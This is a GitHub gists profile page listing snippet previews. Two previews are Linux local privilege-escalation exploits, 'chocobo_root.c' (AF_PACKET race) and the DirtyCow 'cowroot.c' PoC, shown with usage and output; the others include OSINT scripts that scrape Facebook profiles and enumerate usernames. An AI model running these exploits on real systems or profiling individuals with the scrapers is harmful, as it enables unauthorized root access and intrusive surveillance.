Skip to content

Instantly share code, notes, and snippets.

View cristianzsh's full-sized avatar
🐡
🐺

Cristian Souza cristianzsh

🐡
🐺
View GitHub Profile
@cristianzsh
cristianzsh / chocobo_root.c
Last active May 23, 2018 02:13
chocobo_root.c
/*
chocobo_root.c
linux AF_PACKET race condition exploit
exploit for Ubuntu 16.04 x86_64
vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
@cristianzsh
cristianzsh / cowroot.c
Created September 18, 2017 02:52 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
@cristianzsh
cristianzsh / knapsack.c
Created December 10, 2019 16:32
Knapsack problem
#include <stdio.h>
void calcular(int capacidade, int pesos[], int valores[], int n) {
int matriz[n + 1][capacidade + 1];
for (int i = 0; i <= n; i++) {
for (int j = 0; j <= capacidade; j++) {
if (i == 0 || j == 0) {
matriz[i][j] = 0;
} else if (pesos[i - 1] <= j) {
@cristianzsh
cristianzsh / install_elk.sh
Created September 28, 2021 14:40
Instalação do Elasticsearch - Curso de OSINT
sudo apt-get update -y
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
sudo apt-get update
sudo apt-get install elasticsearch -y
sudo cat << EOF > /etc/elasticsearch/elasticsearch.yml
cluster.name: osint
node.name: osint
path.data: /var/lib/elasticsearch
@cristianzsh
cristianzsh / github_api.py
Last active October 28, 2021 17:03
OSINT: Consumo de API com Python
import requests
import json
from git import Repo
class GHApi():
def __init__(self, username):
self.username = username
def get_data(self):
@cristianzsh
cristianzsh / selenium_example1.py
Created September 30, 2021 13:09
Exemplo do Selenium
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
driver = webdriver.Firefox()
driver.get("https://google.com")
elem = driver.find_element_by_name("q")
elem.clear()
@cristianzsh
cristianzsh / selenium_example2.py
Created September 30, 2021 13:18
Exemplo de login com Selenium
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
driver = webdriver.Firefox()
driver.get("http://testphp.vulnweb.com/login.php")
elem = driver.find_element_by_name("uname")
elem.clear()
elem.send_keys("test")
@cristianzsh
cristianzsh / get_fb_user_data.py
Created October 27, 2021 19:48
OSINT: Captura de dados de usuários do Facebook.
#!/usr/bin/python3
"""
Captura dados de usuários do Facebook.
"""
import urllib.request
from facebook_scraper import get_profile
username = input("Nome do usuário: ")
output = input("Salvar dados? [S/n]: ")
data = get_profile(username)
@cristianzsh
cristianzsh / get_fb_posts.py
Created October 27, 2021 19:49
OSINT: Captura de posts no Facebook.
#!/usr/bin/python3
"""
Ferramenta para captura de posts no Facebook.
"""
from facebook_scraper import get_posts
username = input("Digite o nome do usuário: ")
output = input("Salvar o resultado? [S/n] ")
for post in get_posts(username, pages=1):
@cristianzsh
cristianzsh / get_usernames.py
Created October 28, 2021 16:43
OSINT: Script para enumerar usuários
#!/usr/bin/python3
import requests
username = input("Digite o nome de usuário: ")
websites = ["github.com", "twitter.com", "instagram.com"]
for website in websites:
url = "https://{}/{}".format(website, username)
print("[*] Testando {}".format(url))
response = requests.get(url)